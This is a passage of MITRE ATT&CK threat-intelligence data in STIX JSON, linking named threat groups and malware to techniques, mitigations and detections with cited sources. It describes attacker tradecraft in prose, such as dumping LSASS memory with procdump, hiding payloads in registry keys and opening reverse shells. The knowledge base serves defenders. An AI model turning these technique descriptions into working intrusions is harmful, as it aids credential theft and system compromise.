2017)","modified":"2022-07-20T20:06:44.727Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e2335bc2-8ad0-484d-89b5-70b05a131296","created":"2022-07-18T15:59:09.687Z","x_mitre_version":"0.1","external_references":[{"source_name":"Korean FSI TA505 2020","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) can collect clipboard data.(Citation: Korean FSI TA505 2020)","modified":"2022-07-18T15:59:09.687Z","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e23abec4-6a31-48c7-8857-e37951caebab","type":"relationship","created":"2022-03-07T19:33:01.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"modified":"2022-03-07T19:33:01.785Z","description":"[Meteor](https://attack.mitre.org/software/S0688) has the ability to search for Kaspersky Antivirus on a victim's machine.(Citation: Check Point Meteor Aug 2021)","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e23ce4ac-b82c-4af1-9545-2bb237a03ed1","type":"relationship","created":"2019-11-27T13:52:46.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/dn221960.aspx","description":"Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.","source_name":"TechNet Scheduling Priority"}],"modified":"2022-03-11T14:36:25.058Z","description":"Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e23d57b4-5bc4-4d06-9084-9c99464c4af8","type":"relationship","created":"2019-07-17T21:15:43.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-19T16:57:27.426Z","description":"Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e24411cf-6274-4b6b-87b4-b90b01146c8d","created":"2020-11-10T16:24:47.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T17:19:29.089Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used [Systeminfo](https://attack.mitre.org/software/S0096) and similar commands to acquire detailed configuration information of a victim's machine. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also utilized the PowerShell cmdlet `Get-ADComputer` to collect DNS hostnames, last logon dates, and operating system information from Active Directory.(Citation: DFIR Ryuk's Return October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e25b4146-2f52-4c5b-a1f8-3e868e767f84","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Respond Webinar July 2017","description":"Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.","url":"https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"},{"url":"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?","description":"Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.","source_name":"DarkReading FireEye FIN5 Oct 2015"},{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.779Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.(Citation: FireEye Respond Webinar July 2017)(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e25ea0c4-513b-489d-943d-2828034f764f","type":"relationship","created":"2019-01-31T01:07:58.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.971Z","description":"(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e25eac99-e1a6-4545-9353-3a2118dcf275","created":"2023-03-24T17:59:28.343Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T17:59:28.343Z","description":"Monitor for the creation of Registry values that may highlight storage of malicious data such as commands or payloads.","relationship_type":"detects","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e260b882-0f57-4e44-b6fe-efaefccd1c3f","type":"relationship","created":"2021-05-26T15:39:50.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-26T15:39:50.845Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can execute enum to enumerate files in storage on a compromised system.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2675622-ec8e-4894-9f5e-3c82944e3019","type":"relationship","created":"2017-05-31T21:33:27.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2021-08-09T14:18:21.431Z","description":"[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover operating system configuration details using the systeminfo and set commands.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e26cfb89-f796-4ba1-bf5c-4084b6479762","type":"relationship","created":"2019-03-12T14:14:22.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.903Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use TLS to encrypt its C2 channel.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e273286f-8ca7-4d3e-bdc3-08929c7cbd12","type":"relationship","created":"2020-05-28T16:38:03.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-15T20:53:11.743Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has base64-encoded its portable executable and hidden itself under a JPG header. [Ramsay](https://attack.mitre.org/software/S0458) can also embed information within document footers.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e27416ae-e9f1-4b3f-90b2-6cb4a1a6abf4","created":"2023-03-26T19:41:33.592Z","revoked":false,"external_references":[{"source_name":"ESET PipeMon May 2020","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020.","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:41:33.592Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) has stored its encrypted payload in the Registry under `HKLM\\SOFTWARE\\Microsoft\\Print\\Components\\`.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2748683-077b-4e91-9225-6b29245fdafc","type":"relationship","created":"2019-06-24T16:27:16.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx","description":"Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.","source_name":"Microsoft Install Password Filter n.d"}],"modified":"2022-02-16T23:59:49.940Z","description":"Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2753d61-40d9-45b3-884a-a4c63b1da476","type":"relationship","created":"2019-06-28T17:40:32.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2019-07-01T18:16:33.117Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has used EnumProcesses() to identify how many process are running in the environment.(Citation: Cyphort EvilBunny Dec 2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2763cbf-c068-47b5-a871-3b20a368497f","type":"relationship","created":"2021-10-13T22:50:48.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}],"modified":"2021-10-13T22:50:48.686Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used [PsExec](https://attack.mitre.org/software/S0029) to stop services prior to the execution of ransomware.(Citation: Symantec WastedLocker June 2020)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2772353-e6f8-406e-8416-fa4edeecd218","type":"relationship","created":"2019-04-23T15:49:35.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","source_name":"ESET Ebury Feb 2014"}],"modified":"2019-04-26T20:14:18.122Z","description":"[Ebury](https://attack.mitre.org/software/S0377) has intercepted unencrypted private keys as well as private key pass-phrases.(Citation: ESET Ebury Feb 2014)\t","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e27996c5-9aae-4b5f-b84f-e76a29f51a09","created":"2024-05-23T22:42:59.019Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:16:31.598Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) uses legitimate Sysinternals tools such as procdump to dump LSASS memory.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e27daa6c-3577-4f58-9440-7a585e9571d9","type":"relationship","created":"2021-09-28T20:43:43.727Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-28T20:43:43.727Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) has created a working folder for collected files that it sends to the C2 server.(Citation: Checkpoint IndigoZebra July 2021) ","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e27e75c2-5734-4602-8a32-c56bb50f890b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"}],"modified":"2020-03-19T19:08:35.792Z","description":"[SNUGRIDE](https://attack.mitre.org/software/S0159) is capable of executing commands and spawning a reverse shell.(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"malware--3240cbe4-c550-443b-aa76-cc2a7058b870","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e27ebd5b-4ed3-4c04-96e3-026bd127ed64","type":"relationship","created":"2019-01-30T18:39:48.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."}],"modified":"2019-07-17T01:18:32.763Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) identifies network drives when they are added to victim systems.(Citation: Securelist Sofacy Feb 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e289222f-0544-47cc-b0b6-72657d92d196","created":"2024-02-12T20:39:36.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:24:13.234Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) queries system resources on an infected machine to identify if it is executing in a sandbox or virtualized environment.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e28c174a-33d6-4fef-989f-7c58d0fb770d","created":"2023-03-29T15:49:27.117Z","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T15:49:27.117Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can call the `GetNetworkParams` API as part of its C2 establishment process.(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e28dc4ab-86fe-480e-9f0d-d7fab54c432d","type":"relationship","created":"2019-06-20T16:18:23.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-02T22:11:32.213Z","description":"Ensure proper process and file permissions are in place to inhibit adversaries from disabling or interfering with critical services.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e28dd993-e11d-4cce-b029-e3e5194a2482","type":"relationship","created":"2021-04-16T03:04:44.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:28:41.741Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e28ddc1d-83a4-4382-a4dc-e55a60aa399d","type":"relationship","created":"2019-08-26T13:02:46.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET TeleBots Oct 2018","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."},{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:43:38.134Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses crontab for persistence if it does not have root privileges.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 